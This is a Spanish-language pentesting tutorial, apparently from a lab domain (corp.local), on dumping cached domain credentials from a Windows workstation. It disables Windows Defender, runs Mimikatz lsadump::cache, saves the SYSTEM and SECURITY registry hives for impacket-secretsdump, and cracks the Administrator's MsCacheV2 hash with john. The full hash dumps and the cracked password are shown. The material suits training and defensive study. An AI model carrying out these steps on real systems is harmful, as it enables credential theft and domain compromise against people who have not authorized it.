Volcado de credenciales de dominio cacheadas (mscash)
Imaginemos que tenemos un usuario local con privilegios de administrador como hemos visto anteriormente, estando en el equipo Windows podremos volcar las credenciales que fueron cacheadas en el sistema, estando con la sesion iniciada de forma local .\santiago en el WS01 si no podemos obtener credenciales de las logon sessions por que no hay ninguna que nos interese y de la SAM no nos interesa por que solo son a nivel local y queremos a nivel de dominio, podremos realizar el volcado de credenciales cacheadas para ver si hay alguna registrada de algun usuario a nivel de dominio.
Utilizaremos Mimikatz en este caso, por lo que tendremos que descativar el antivirus ya que somos administradores locales, podremos hacerlo.
Una vez desactivado el Windows Defender ejeuctaremos mimikatz en un PowerShell como Administrador.
Para ello antes tendremos que ser SYSTEM por lo que haremos lo que hicimos anteriormente para suplantar su token de la siguiente forma:
privilege::debug
token::elevate
Una vez ejecutado estos comandos, ahora si haremos lo siguiente:
lsadump::cache
Info:
Domain : WS01
SysKey : c8125866b327df176940c9f2d6a48f5f
Local name : WS01 ( S-1-5-21-1345059704-770646112-4146140408 )
Domain name : CORP ( S-1-5-21-3352250647-938130414-2449934813 )
Domain FQDN : corp.local
Policy subsystem is : 1.18
LSA Key(s) : 1, default {61d93de2-3cd5-f57c-bb1a-61759861b280}
[00] {61d93de2-3cd5-f57c-bb1a-61759861b280} 9ff21a12391e4572d34bcc2b9c41c89c572dcc27ac3d906f69db749f620da79d
* Iteration is set to default (10240)
[NL$1 - 20/01/2025 9:13:41]
RID : 00000450 (1104)
User : CORP\empleado1
MsCacheV2 : fda53d6158406f827388476bcbc97c37
[NL$2 - 19/01/2025 9:52:13]
RID : 000001f4 (500)
User : CORP\Administrator
MsCacheV2 : e1c8d7e26653ae629a74772a389cf7e6
[NL$3 - 12/01/2025 12:36:13]
RID : 000004b9 (1209)
User : CORP\annice.mable
MsCacheV2 : 77702054bffe13f7c5bbe919a228d985
[NL$4 - 12/01/2025 17:51:40]
RID : 00000463 (1123)
User : CORP\angelika.shelly
MsCacheV2 : 835512d4e4bb1d962c57d290eb99f670
Y con esto veremos que hemos obtenidos las credenciales de los usuarios que alguna vez en algun momento se han logeado en este equipo y podremos obtener ese hash que sera la contraseña del mismo, por ejemplo el del Administrador y vamos a crackearlo con john de la siguiente forma:
echo e1c8d7e26653ae629a74772a389cf7e6 > adminCache.hash
john --format=mscash2 adminCache.hash
Si realizamos esto, veremos que no nos lo consigue crackear por que le tenemos que dar un formato especifico al hash, por ello vamos a empezar por irnos a nuestro equipo de Windows y en la terminal de PowerShell vamos a volcar todas las ramas del registro y luego utilizar impacket en kali.
cd .\Desktop
reg save hklm\system system.save
Y ahora volcaremos las credenciales cacheadas que no va a ser en la SAM, sera en la siguiente zona.
reg save hklm\security security.save
Ahora estos 2 ficheros nos lo vamos a pasar al kali para poder extraer la informacion ahi.
impacket-secretsdump -system system.save -security security.save LOCAL
Ahora vemos que nos extrae los mismo usuarios que vimos anteriormente, pero en este caso nos lo pone el hash en el formato que necesitamos para poder crackearlo correctamente, por lo que haremos lo siguiente:
nano adminCache.hash
#Dentro del nano
$DCC2$10240#Administrator#e1c8d7e26653ae629a74772a389cf7e6
Lo guardamos y ahora lo vamos a crackear:
john --format=mscash2 adminCache.hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (mscash2, MS Cache Hash 2 (DCC2) [PBKDF2-SHA1 128/128 AVX 4x])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Passw0rd (?)
1g 0:00:00:01 DONE 2/3 (2025-01-20 03:49) 0.7246g/s 4127p/s 4127c/s 4127C/s Stephani..Something
Use the "--show --format=mscash2" options to display all of the cracked passwords reliably
Session completed.